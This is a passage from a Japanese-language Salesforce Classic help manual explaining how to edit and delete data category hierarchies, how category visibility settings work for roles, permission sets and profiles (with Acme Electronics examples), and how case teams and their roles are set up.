3. 必要に応じて、完全なカテゴリ階層を表示する場合は [すべて展開]を、最上

位カテゴリのみを表示する場合は [すべて折りたたむ] をクリックします。
4. カテゴリの名前または一意の API 名を編集するには、カテゴリをダブルクリッ

クします。
5. ドラッグアンドドロップ編集を使用して、階層内のカテゴリを再配置しま

す。ドラッグ時に表示される赤いアイコンは移動先が無効であることを示
し、緑のアイコンは移動先が有効であることを示します。
• カテゴリを移動先カテゴリの子として再配置するには、カテゴリを移動

先の最上位カテゴリにドラッグします。たとえば、[USA] を [北アメリカ]

の 1 つ下のレベルにするには、[USA] を [北アメリカ] の最上位カテゴリに
ドラッグします。ドラッグしたカテゴリは、該当レベルの他の子カテゴ
リの下に表示されます。

• カテゴリを他のカテゴリの同階層として再配置するには、カテゴリを他
のカテゴリとの境界線までドラックします。たとえば、[カナダ] と [メキ
シコ] の間に [USA] を配置するには、[USA] を [カナダ] と [メキシコ] の境界
線までドラッグします。

6. カテゴリの子をアルファベット順に並び替えるには、カテゴリ名の上にカー
ソルを置き、[アクション] ドロップダウンリストから [子カテゴリをアルファ
ベット順に並べる] を選択します。この並び替えは、最上位である子レベル
にのみ適用されるものであり、孫レベル以下のレベルには適用されません。

7. カテゴリ階層の変更中に直前の操作を取り消すには [元に戻す] をクリックします。同様に、元に戻したア
クションのフローを先に進めるには [やり直し] をクリックします。

8. [保存] をクリックします。保存プロセスが完了すると、メールで通知されます。
保存プロセスでは、次の事項が再適用されます。
• カテゴリドロップダウンメニューのコンテンツ。
• 各ユーザに表示される記事および質問。
• カテゴリに関連付けられた記事および質問。
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メモ: 変更は頻繁に保存してください。[保存] をクリックする前に行うアクションが多いほど、保存に
時間がかかります。

例:

階層の変更による記事の表示への影響
カテゴリ階層を変更すると、表示される記事が変更される可能性があります。次の図に示す例では、
カテゴリ [PDA] が元の親カテゴリ [コンピュータ] から新しい親カテゴリ [コンシューマ用電子機器] に移
動しています。

メモ: カテゴリが新しい親カテゴリに移動すると、新しい親カテゴリの表示を許可されていない
ユーザは再配置されたカテゴリを表示できません。

カテゴリ [PDA] の移動

この変更による [PDA] カテゴリで分類された記事の表示への影響を理解するには、次の表を参照してく
ださい。
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理由[コンシューマ
用電子機器] の
下位にある新し
い場所に [PDA]
記事が表示され
ますか?

[コンピュー
タ] の下位に
ある元の場所
に [PDA] 記事
は表示されま
すか?

ロール、
権限セッ
ト、また
はプロ
ファイル
の対応付
け対象

ロール、権限セット、またはプロファイルが最上位の [す
べての商品] カテゴリに対応付けられている場合、カテゴ
リ階層にすべてが表示されます。

はいはいすべての
商品

現在 [PDA] が配置されているカテゴリ階層のブランチへ
のアクセス権がありません。

いいえはいコン
ピュータ

アクセス権が付与されたカテゴリ階層のブランチに [PDA]

が移動されています。
はいいいえコン

シューマ
用電子機
器

階層の変更による記事の分類への影響
記事を親カテゴリで分類すると、そのカテゴリの子へのアクセスも暗示的に許可されます。親カテゴ
リと子カテゴリの両方を明示的に記事に割り当てることはできません。記事編集ページから親カテゴ
リを選択すると、その子カテゴリがグレー表示になります。つまり、親カテゴリに加えて子カテゴリ
を選択することはできません。Salesforce では、カテゴリを新しい親に移動するときにこのことが遵守
されます。このため、新しい親カテゴリがすでに存在する場合は、子カテゴリを明示的に記事に追加
できません。
上記の例では、カテゴリ [PDA] が元の親カテゴリ [コンピュータ] から新しい親カテゴリ [コンシューマ
用電子機器] に移動しています。その結果、記事の分類が変更される場合もあれば、変更されない場合
もあります。
• [コンシューマ用電子機器] と [PDA] の両方で以前に分類されていた記事は、[コンシューマ用電子機

器] が [PDA] を含意するようになったため [PDA] での分類がなくなります。
• 以前に [PDA] ではなく [コンシューマ用電子機器] のみで分類されていた記事は変更されません。[PDA]

へのアクセスも暗示的に許可されています。
• 以前に [コンシューマ用電子機器] ではなく [PDA] のみで分類されていた記事は [PDA] での分類のまま

です。
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データカテゴリの削除

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

[データカテゴリ] ページを
表示する
• 「データカテゴリの表

示」

データカテゴリを作成、
編集、または削除する
• 「データカテゴリの管

理」

カテゴリの削除は、処理に時間がかかる場合があります。また、記事および質
問の表示や分類が変更されたり、他の深刻な結果を招いたりする場合もありま
す。カテゴリを削除する前に、このトピック全体をよく読んでください。

重要: カテゴリ階層の変更は、ユーザ活動が活発でないときに行ってくだ
さい。この保存処理には、膨大で複雑な再計算が必要になる場合があり、
完了までに時間がかかる可能性があります。処理中は、エージェントには、
記事または質問の検索やカテゴリのドロップダウンリストの使用にパフォー
マンスの問題が出る場合があります。

1. [設定] から、[クイック検索] ボックスに「データカテゴリ」と入力し、[デー
タカテゴリ設定] を選択します。

2. カテゴリグループ名をクリックします。
3. カテゴリ名をクリックします。必要に応じて、[すべて展開]をクリックして、

カテゴリグループ内のすべてのカテゴリを表示します。
4. Delete キーを押すか、[アクション] ドロップダウンリストから [カテゴリを削

除] を選択します。
5. 確認ダイアログボックスで [OK] をクリックします。
6. 削除されたカテゴリまたはその子に関連付けられていた記事の再分類をどう

するか選択します。どの場合でも、記事に割り当てられた他のカテゴリグ
ループのカテゴリは保持されます。
• 削除されたカテゴリの親カテゴリを割り当てる。
• 別のカテゴリを割り当てる。このカテゴリグループ内の他の任意のカテ

ゴリを選択できます。

メモ: 作業を保存する前に、選択したカテゴリ自体を削除することは
できません。

• このカテゴリグループ内の新しいカテゴリに記事を割り当てないでくだ
さい。

カテゴリを削除すると、次のようになります。
• 完全に削除します。削除したものは復元できません。ごみ箱にも表示されま

せん。
• 子カテゴリも完全に削除します。
• 必要に応じて、すべてのチャネルの [アンサー] タブ、[記事の管理] タブ、[ナレッジ] タブ、および会社の公

開知識ベースからカテゴリとその子カテゴリを削除します。
• カテゴリと記事または質問との間の関連付けを削除します。記事または質問は、別のカテゴリに再割り当

てできます。
• 表示設定への対応付けを削除します。削除されたカテゴリに関連付けられた記事と回答が表示されなくな

ります。
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データカテゴリの表示設定
エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

データカテゴリの表示設定は、ロール、権限セットまたはプロファイルを使用
して設定できます。データカテゴリの表示設定によって、ユーザが表示できる
個々のデータカテゴリ、カテゴリに分類された記事、およびカテゴリに分類さ
れた質問が決まります。
次の 3 種類の表示設定があります。
• すべてのカテゴリ: すべてのカテゴリを表示する
• なし: カテゴリを表示しない
• カスタム: 選択したカテゴリを表示する
カスタムデータカテゴリ表示設定では、ロール、権限セット、またはプロファ
イルで許可されているデータカテゴリのみを表示できます。
表示設定の適用

多様な関連情報を入手できるようにするには、カテゴリグループ表示を広義
に解釈します。あるカテゴリを表示するように設定すると、対象カテゴリと
それに直接関連する系列カテゴリ (先祖、親、子、その他の子孫) がユーザに
表示されます。たとえば、上位レベルに [アジア] や [ヨーロッパ] などの大陸
を含む [場所] というカテゴリグループ、2 番目のレベルにさまざまな国、3 番
目のレベルに都市があるとします。[フランス] が選択された唯一表示可能な
カテゴリである場合、[ヨーロッパ]、[フランス]、およびすべてのフランスの
都市で分類された記事を表示できます。つまり、[フランス] に対し直接縦方
向に繋がる関係があるカテゴリは表示できますが、[アジア] 以下およびその
他の大陸に分類された記事は表示できません。

メモ:  [アンサー] タブには、カテゴリグループの最初のレベルのカテゴ
リだけが表示されます。[場所] カテゴリの例では、[アンサー] タブには
大陸のカテゴリだけが表示されるため、[フランス] がカテゴリグループ
表示設定で表示すると選択されたカテゴリである場合、ゾーンメンバー
は [ヨーロッパ] で分類された質問を表示できます。

カテゴリグループ表示設定は、すべてのチャネルの [アンサー] タブ、[記事の管理] タブ、[記事] タブ (内部
アプリケーション、パートナーポータル、Salesforce.com コミュニティ、およびカスタマーポータル)、公開
知識ベースに適用されます。次の領域では、参照設定で許可されたカテゴリのみがユーザに表示されます。
• [記事の管理] タブで記事を作成または編集するとき
• [記事の管理] タブ、および [記事] タブの、記事を探すための [カテゴリ] ドロップダウンメニュー
• [アンサー] タブの、ゾーン名の下に表示されたカテゴリ

表示の初期設定
ロール、権限セット、またはプロファイルによるデータカテゴリの表示設定が設定されていない場合、す
べてのユーザがすべてのデータカテゴリを参照できます。ただし、データカテゴリの表示が設定されてい
る場合、ロール、権限セット、またはプロファイルによってデータカテゴリの表示権限を割り当てられて
いないユーザには、関連付けられたカテゴリをデフォルトで表示可能にしない限り、未分類の記事と質問
のみが表示されます。ロール、権限セット、およびプロファイルの表示設定によって、デフォルトの表示
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設定が制限されます。たとえば、あるデータカテゴリがデフォルトで表示可能であっても、そのデータカ
テゴリへのアクセスを制限するロールを持つユーザからは参照できません。

メモ: データカテゴリの表示がロール、権限セット、およびプロファイルで定義されている場合、
Salesforce では、定義間の論理 [または] を使用して各ユーザの表示ルールを作成します。

ロールベースの表示設定の継承
子ロールは親ロールの設定を継承し、親ロールの変更内容との同期が保たれます。子ロールでの表示をカ
スタマイズして表示可能数を減らすことはできますが、親ロールの表示可能数を上回るほど増やすことは
できません。デフォルトでは、カスタマーポータルユーザとパートナーポータルユーザは、これらの取引
先マネージャに割り当てられたカテゴリグループの表示設定を継承します。各ポータルのカテゴリグルー
プ表示設定を変更できます。大規模カスタマーポータルユーザはロールを持たないため、カテゴリに分類
された記事と質問を表示するには、先に権限セットまたはプロファイルにより表示設定を指定する必要が
あります。

分類された記事の表示権限
ユーザが記事を参照できるのは、その記事に関するカテゴリグループ 1 つにつき 1 つ以上のカテゴリを参
照できる場合です。たとえば、[場所] というカテゴリグループでは [カリフォルニア] と [オハイオ] に、
また、[商品] というカテゴリグループでは [デスクトップ] に分類された記事を考えてみましょう。
• [オハイオ] と [デスクトップ] の表示権限がある場合は、([カリフォルニア] の表示が許可されていなくて

も) 記事を参照できます。
• [カリフォルニア] と [オハイオ] の表示がいずれも許可されておらず、[デスクトップ] のみ表示権限があ

る場合は、記事を参照できません。
• [カリフォルニア] の表示権限はあるが、[デスクトップ] の表示権限がない場合は、記事を参照できませ

ん。
表示権限の取り消し

特定のカテゴリグループでは、データカテゴリの表示設定を取り消すことができます ([なし] に設定しま
す)。このターゲットロール、権限セット、またはプロファイルのユーザが参照できるのは、該当カテゴリ
グループのカテゴリで分類されていない記事と質問だけです。たとえば、ユーザのロールでの [場所] カテ
ゴリグループの表示権限が取り消されても、[商品] カテゴリグループの表示権限がある場合、このユーザ
が参照できるのは、[場所] カテゴリグループのカテゴリを含んでおらず、かつ [商品] カテゴリグループのカ
テゴリで分類された記事のみとなります。アンサーゾーンが割り当てられるのは 1 つのカテゴリグループ
だけであるため、[場所] カテゴリグループがゾーンに割り当てられ、そのグループのメンバーロールの表
示が取り消された場合、メンバーに表示されるのは未分類の質問のみです。

詳細な例については、「カテゴリグループの記事表示設定の例」 (ページ 3524)を参照してください。
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カテゴリ表示と他の Salesforce モデルの相違点

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

これらの設定は記事および質問固有のものであり、他の Salesforce モデルとは異
なります。
これらの設定は記事および質問固有のものであり、他の Salesforce モデルとは異
なります。
記事および質問専用

カテゴリグループ表示設定によって、記事および質問にアクセスできるユー
ザが決まります。記事および質問は標準オブジェクトですが、組織の共有設
定、共有ルール、手動によるレコード共有はありません。

アクセス
カテゴリグループ表示設定は、ユーザのロール、権限セット、またはプロ
ファイルに基づきます。子ロールでは、親ロールより多くのカテゴリを参照
することはできません。ユーザに表示されるカテゴリ (つまり分類された記
事および質問) を変更するには、ユーザのロール、権限セット、またはプロ
ファイルの表示設定を変更するか、カスタムデータカテゴリ表示設定が割り
当てられていない場合は、特定のカテゴリをすべてのユーザに表示するよう
にする必要があります。

表示設定の広義的な解釈
多様な関連情報を入手できるようにするには、カテゴリグループ表示を広義
に解釈します。あるカテゴリを表示するように設定すると、対象カテゴリと
それに直接関連する系列カテゴリ (先祖、親、子、その他の子孫) がユーザに
表示されます。たとえば、上位レベルに [アジア] や [ヨーロッパ] などの大陸
を含む [場所] というカテゴリグループ、2 番目のレベルにさまざまな国、3 番
目のレベルに都市があるとします。[フランス] が選択された唯一表示可能な
カテゴリである場合、[ヨーロッパ]、[フランス]、およびすべてのフランスの都市で分類された記事を表示
できます。つまり、[フランス] に対し直接縦方向に繋がる関係があるカテゴリは表示できますが、[アジア]

以下およびその他の大陸に分類された記事は表示できません。

メモ:  [アンサー] タブには、カテゴリグループの最初のレベルのカテゴリだけが表示されます。[場所]

カテゴリの例では、[アンサー] タブには大陸のカテゴリだけが表示されるため、[フランス] がカテゴリ
グループ表示設定で表示すると選択されたカテゴリである場合、ゾーンメンバーは [ヨーロッパ] で分
類された質問を表示できます。
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ロールのカテゴリグループ表示設定

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

「設定・定義を参照する」ロールの詳細を参照する

「ロールの管理」ロールを編集および削除する

「プロファイルと権限セットの管理」権限セットとプロファイルを編集および
削除する

「設定・定義を参照する」ユーザを参照する

「内部ユーザの管理」ユーザを編集する

「データカテゴリの表示」カテゴリを表示する

「データカテゴリの管理」

および

「データカテゴリの表示」

データカテゴリを管理する

[カテゴリグループ表示設定] 関連リストには、該当ロールのユーザが参照できる
カテゴリがカテゴリグループに従ってまとめられています。
ロールのカテゴリ表示設定を表示するには、[設定] から、[クイック検索] ボッ
クスに「ロール」と入力し、[ロール]を選択して、ロールを選択します。カスタ
マーポータルまたはパートナーポータルロールのカテゴリ表示設定を表示する
には、[設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ]を
選択して、ロールの名前をクリックします。
次の表では、この関連リストの [表示] 列で使用できる値を説明します。

説明表示

カテゴリグループのすべてのカテゴリがユーザに表示
されます。このオプションは、ロール階層の最上位の

すべてのカテゴリ

ロールにのみ表示されます。カテゴリグループを作成
する場合、その表示設定はデフォルトの [[すべての
カテゴリ]] に設定されます。

カテゴリグループに含まれるカテゴリはいずれもユー
ザに表示されません。

なし

カテゴリグループのカテゴリのうちの選択されたカテ
ゴリがユーザに表示されます。

カスタム

[カテゴリグループ表示設定] では、次の操作を実行できます。
• カテゴリグループの設定の詳細を参照するには、カテゴリグループの名前をクリックします。
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• カテゴリグループの表示設定を変更するには、カテゴリグループの横にある [編集] をクリックします。

デフォルトのデータカテゴリ表示の編集

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カテゴリを表示する
• 「データカテゴリの表

示」

データカテゴリを管理す
る
• 「データカテゴリの管

理」

および

「データカテゴリの表
示」

デフォルトのカテゴリグ
ループを割り当てる
• 「データカテゴリの管

理」

デフォルトのデータカテゴリ表示設定を編集できます。
1. [設定] から、[クイック検索]ボックスに「デフォルトデータカテゴリ表示」と

入力し、[デフォルトデータカテゴリ表示] を選択します。
有効なカテゴリグループと無効なカテゴリグループの一覧がすべて表示され
ます。

2. カテゴリグループを選択して、[編集] をクリックします。
3. カテゴリグループ内のすべてのカテゴリをデフォルトで表示可能にする場合

は [すべてのカテゴリ]を選択します。すべてのカテゴリをデフォルトで表示
不可にする場合は [なし]を選択します。一部のカテゴリをデフォルトで表示
可能にする場合は [カスタム] を選択します。

4. [カスタム] を選択した場合、必要に応じてカテゴリを [選択可能なカテゴリ]

領域から [選択済みカテゴリ] 領域に移動します。カテゴリの選択には、子カ
テゴリと親カテゴリの選択も暗示的に含まれます。カテゴリをデフォルトで
参照可能な対象から削除する場合は、そのカテゴリを [選択済みカテゴリ] 領
域から [選択可能なカテゴリ] 領域に戻します。

3521

データカテゴリの表示設定カスタマーサポートツールの設定および管理



カテゴリグループ表示設定の編集

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カテゴリを表示する
• 「データカテゴリの表

示」

データカテゴリを管理す
る
• 「データカテゴリの管

理」

および

「データカテゴリの表
示」

デフォルトのカテゴリグ
ループを割り当てる
• 「データカテゴリの管

理」

データカテゴリ表示設定を編集できます。
1. [設定] でデータカテゴリの表示設定ページに移動します。

• ロールの場合: [クイック検索] ボックスに「ロール」と入力し、[ロール]

を選択します。
• カスタマーポータルまたはパートナーポータルのロールの場合: [クイック

検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
• 権限セットの場合: [クイック検索] ボックスに「権限セット」と入力し、

[権限セット] を選択します。
• プロファイルの場合: [クイック検索] ボックスに「プロファイル」と入力

し、[プロファイル] を選択します。

2. 編集するデータカテゴリグループを開きます。
• ロールの場合、[カテゴリグループ表示設定] 関連リストで、変更するカテ

ゴリグループの横にある [編集] をクリックします。
• 権限セットおよびプロファイルの場合は、次の操作を実行します。

a. 権限セットまたはプロファイル名をクリックします。
b. [データカテゴリの表示] をクリックします。
c. 割り当てるデータカテゴリグループの横にある [編集] をクリックしま

す。

3. 表示設定を選択します。

説明表示設定

カテゴリグループのすべてのカテゴリがユーザに表示されま
す。このオプションは、ロール階層の最上位のロールにのみ
表示されます。カテゴリグループを作成する場合、その表示
設定はデフォルトの [[すべてのカテゴリ]]に設定されます。

すべてのカ
テゴリ

カテゴリグループに含まれるカテゴリはいずれもユーザに表
示されません。

なし

カスタム選択したカテゴリがユーザに表示されます。ロール
の場合、カテゴリは、親ロールが参照できるカテゴリから選
択できます。親ロールでの表示可能数が変更され、子ロール
での表示可能数を下回ると、子ロールでのカテゴリ表示が親
ロールでのカテゴリ表示に合わせて再設定されます。
カテゴリを選択するには、[選択可能なカテゴリ] ボックスで
該当カテゴリをダブルクリックします。または、カテゴリを
選択し、[追加] をクリックします。カテゴリの選択には、子

カスタム

カテゴリと親カテゴリの選択も暗示的に含まれます。グレー
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説明表示設定

表示になっているカテゴリは、親がすでに選択されているため選択できません。

メモ:  [すべてのカテゴリ] に設定されたロール、権限セット、またはプロファイ
ルをカスタマイズする場合は、特定のカテゴリを選択する前に、[選択済みカテ
ゴリ] ボックスから [すべて] を削除します。

4. [保存] をクリックします。
データカテゴリ表示設定のベストプラクティス

• カテゴリグループを作成する場合、その表示設定はデフォルトの [[すべてのカテゴリ]] に設定されま
す。

• カテゴリに表示設定を許可する場合は、その子カテゴリと親カテゴリへも表示設定を許可します。カテ
ゴリ階層に含まれるすべてのカテゴリへのアクセス権を許可する場合は、最上位カテゴリの [すべての
カテゴリ] を選択します。

• 次の条件に当てはまらない場合、ロール、権限セット、またはプロファイルによるカテゴリの表示権限
を割り当てられていないユーザは、未分類の記事と質問のみ参照できます。
– ユーザに「すべてのデータの参照」権限がある。
– [設定] の [デフォルトデータカテゴリ表示] ページで、カテゴリグループがすべてのユーザに表示され

る。
• ロールベースの表示設定では、デフォルトで、カスタマーポータルユーザとパートナーポータルユーザ

は、これらの取引先マネージャに割り当てられたロールを継承します。各ポータルのカテゴリグループ
表示設定を変更できます。

• カテゴリ階層を設定し、表示設定を割り当てるには、カテゴリグループを無効にしたままにします。カ
テゴリグループを手動で有効化するまで、Salesforce ナレッジまたはアンサーコミュニティには表示され
ません。

• ロールベースの表示設定では、データカテゴリの表示設定は、トップダウン手法を使用して、常にロー
ル階層の最上位から最下位に向かって設定してください。表示できる数は最上位ロールが最も多く、下
位ロールになるに従って少なくなるようにします。
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カテゴリグループの記事表示設定の例

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

記事表示権限のカテゴリグループ設定の例を確認します。
次の 3 種類の表示設定があります。
• すべてのカテゴリ: すべてのカテゴリを表示する
• なし: カテゴリを表示しない
• カスタム: 選択したカテゴリを表示する
カスタムデータカテゴリ表示設定では、ロール、権限セット、またはプロファ
イルで許可されているデータカテゴリのみを表示できます。
次の例は、[商品] と [場所] のサンプルカテゴリグループに基づいています。

メモ: カテゴリグループ表示設定はアンサーコミュニティ (質問) と Salesforce

ナレッジ (記事) で設定できますが、次の例は記事だけに適用されます。ア
ンサーコミュニティは、質問ごとに 1 つのカテゴリグループと 1 つのデー
タカテゴリをサポートします。

[商品] カテゴリグループ
• すべての商品

– コンシューマ用電子機器
• カメラ
• オーディオ
• プリンタ

– 企業用電子機器
• ルータ
• スイッチ
• PEX

– コンピュータ
• ラップトップ
• デスクトップ
• PDA

[場所] カテゴリグループ
• すべての国

– アメリカ
• USA

• カナダ
• ブラジル

– アジア
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中国•

• 日本
• インド

– ヨーロッパ
• フランス
• イギリス
• ポーランド

例 1: ロール階層
この例では、Acme Electronics 社はハードウェアを製造し、顧客と企業にカスタマーサポートを提供しています。
商品ごとにエンジニアリング部門が編成されています。サポート部門は場所によって編成されています。ヨー
ロッパおよびアメリカは、社内チームによって管理されていますが、アジアについては外注しています。社内
チームおよび外注チーム内には、消費者サポートまたは企業サポート専門のサブチームがあります。
次の表には、Acme Electronics 社の各ロールに表示されるカテゴリと、表示設定が親ロールから継承されている
か、カスタム表示設定かを示しています。

表示できる [商品] カテゴリ表示できる [場所] カテゴリAcme Electronics のロール階層

すべての商品すべての国CEO

すべての商品
CEO から継承

すべての国
CEO から継承

技術統括責任者

コンシューマ用電子機器
カスタム

すべての国
技術統括責任者から継承

コンシューマーエンジニ
アリングチーム

企業用電子機器
カスタム

すべての国
技術統括責任者から継承

エンタープライズエンジ
ニアリングチーム

コンピュータ
カスタム

すべての国
技術統括責任者から継承

コンピュータエンジニア
リングチーム

すべての商品
CEO から継承

すべての国
CEO から継承

サポート統括責任者

すべての商品
サポート統括責任者から継承

ヨーロッパ、アメリカ
カスタム

コーポレートサポート統
括責任者

コンシューマ用電子機器、コンピュー
タ
カスタム

ヨーロッパ、アメリカ
コーポレートサポート統括責任者から
継承

コーポレートコン
シューマサポート責任
者
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表示できる [商品] カテゴリ表示できる [場所] カテゴリAcme Electronics のロール階層

企業用電子機器、コンピュータ
カスタム

ヨーロッパ、アメリカ
コーポレートサポート統括責任者から
継承

コーポレートエンター
プライズサポート責任
者

すべての商品
サポート統括責任者から継承

アジア
カスタム

外注サポート

コンシューマ用電子機器、コンピュー
タ
カスタム

アジア
外注サポートから継承

コンシューマサポート
チーム

企業用電子機器、コンピュータ
カスタム

アジア
外注サポートから継承

エンタープライズサ
ポートチーム

例 2: 記事の表示設定
次の表には、カテゴリ表示設定がユーザに対する表示内容をどのように制限するのか、その詳細な例を示して
います。この例では、3 人のサンプルユーザについて括弧内にカテゴリ設定を示しています。

表 51 : 例: カテゴリ表示設定によるユーザに対する表示内容の制限
ユーザ 3 の表示設定が [フ
ランス/なし] の場合のカ
テゴリ

ユーザ 2 の表示設定が [ア
メリカ/すべての商品] の
場合のカテゴリ

ユーザ 1 の表示設定が [す
べての国/コンピュータ]
の場合のカテゴリ

カテゴリ

参照不可参照可参照可すべての国/ラップトップ

参照不可参照可参照可カナダ/コンピュータ

参照不可参照可参照可USA/すべての商品

参照不可参照不可参照不可ヨーロッパ/スイッチ

参照可参照不可参照可ヨーロッパ/カテゴリなし

ユーザ 1: ユーザには、記事を分類する各カテゴリで表示権限が付与されている必要があります。または、記事
を分類する各カテゴリがデフォルトで参照可能になっている必要があります。この例では、ユーザ 1 は [すべ
ての国] の子である [ヨーロッパ] を参照できますが、[コンピュータ] に属していない [スイッチ] は参照できませ
ん。このため、ユーザ 1 は、[ヨーロッパ/スイッチ] で分類された記事を参照できません。
ユーザ 2: カテゴリがあるカスタム設定によりユーザに対して参照可能になっているか、デフォルトで参照可能
になっていると、子カテゴリおよび親カテゴリが暗示的に追加されます。そのため、ユーザ 2は [アメリカ] の
親カテゴリである [すべての国] で分類された記事を参照できます。[USA] が [アメリカ] の子カテゴリであるた
め、このユーザは、[USA] で分類された記事も参照できます。
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ユーザ 3: ユーザがカテゴリグループ全体へのアクセス権を持たない場合、このロールで参照できるのは、該当
グループに分類されていない記事のみです。ユーザ 3 は、[ラップトップ] を含むカテゴリグループの表示を許
可されていないため、[すべての国/ラップトップ] で分類された記事を参照できません。ただし、[ヨーロッパ/

なし] カテゴリで分類された記事は参照できます。

ケースチームおよびキュー

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースを迅速に解決するために連携するチームを作成し、チーム間でワークロー
ドを共有するキューを作成します。

ケースチーム
ケースチームは、サポートエージェント、サポートマネージャ、製品マネー
ジャなど、協力してケースを解決するユーザのグループです。
キュー
ワークロードを共有するチームへのレコードの優先度付け、配布、割り当て
を行います。リストビューからキューにアクセスします。キューメンバーは
キュー内の任意のレコードの所有権を持つことができます。キューメンバー
は、ケース、リード、注文、カスタムオブジェクト、サービス契約、ナレッジ記事バージョンに使用でき
ます。
キューの作成
ワークロードを共有するチームへのレコードの優先度付け、配布、割り当てを行います。作成できるキュー
の数に制限はありません。キューメンバーにいつメール通知を送信するかを選択できます。

ケースチーム
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースチームは、サポートエージェント、サポートマネージャ、製品マネージャ
など、協力してケースを解決するユーザのグループです。
システム管理者がケースチームを設定したら、メンバーになるユーザをケース
の [ケースチーム] 関連リストに追加できます。チームのメンバーを追加すると
きに、ケースに対してメンバーが担う役割としていずれかの定義済み役割を選
択します。役割によって、ケースに対するアクセスレベル (「参照のみ」、「参
照・更新」などのアクセス権) が決まります。
取引先責任者をケースチームに追加できますが、ケースにアクセスできるのは、
ケースページレイアウトに割り当てられたカスタマーポータルユーザとして有
効化されている場合のみです。カスタマーポータルユーザは、ケースチームを
更新したり、ケースチームの役割を参照したりすることはできません。ケースチームは、パートナーポータル
では使用できません。

メモ: システム管理者は、頻繁に協働するユーザをすばやく追加できるように、ケースチームを事前定義
できます。システム管理者は、特定の条件に一致するケースに定義済みのケースチームを追加するため
の割り当てルールを作成できます。ケースに対してアクションが行われたらチームメンバーに通知する
メールアラートも作成できます。
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ヒント: ケースリストを自分がチームメンバーのケースに絞り込むには、[私のケースチーム] を選択しま
す。自分が属するケースチームのレポートを作成するには、ケースレポートを実行し、表示条件から [私
のチームのケース] を選択します。

ケースチームの設定
ユーザのグループが協働してケースを解決しやすいようにケースチームを作成します。ケースチームを作
成する前に、チーム内の役割を定義します。
ケースチーム内の役割の作成
ケースチームの設定または事前定義の前に、チームメンバーのケースへのアクセスレベルを決定する役割
を作成します。

関連トピック:

キュー

ケースチームの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースチームを設定する
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

チームメンバーを追加す
る
• ケースに対する「編

集」

ユーザのグループが協働してケースを解決しやすいようにケースチームを作成
します。ケースチームを作成する前に、チーム内の役割を定義します。
ユーザがケースチームを作成して操作できるようにするには、[ケースチーム] 関
連リストをケースページレイアウトに追加します。必要に応じて、ケースに対
するアクションが発生したら (コメントの追加など) チームメンバーに通知する
メールアラートを作成します。また、ケースチームを事前定義したら、ケース
がメールから作成された場合など、特定の条件に一致したケースにチームを追
加する割り当てルールを作成します。

メモ: ケースチームは、組織全体のストレージ制限の対象となります。ケー
スの各チームメンバーは、2 KB のストレージ容量の対象となります。

関連トピック:

ケースチーム
ページレイアウトの作成
割り当てルールの設定
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ケースチーム内の役割の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースチームを設定する
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

チームメンバーを追加す
る
• ケースに対する「編

集」

ケースチームの設定または事前定義の前に、チームメンバーのケースへのアク
セスレベルを決定する役割を作成します。
ケースチーム内の役割は無限に作成できますが、チームメンバーが混乱しない
ように 20 個以下に抑えることをお勧めします。
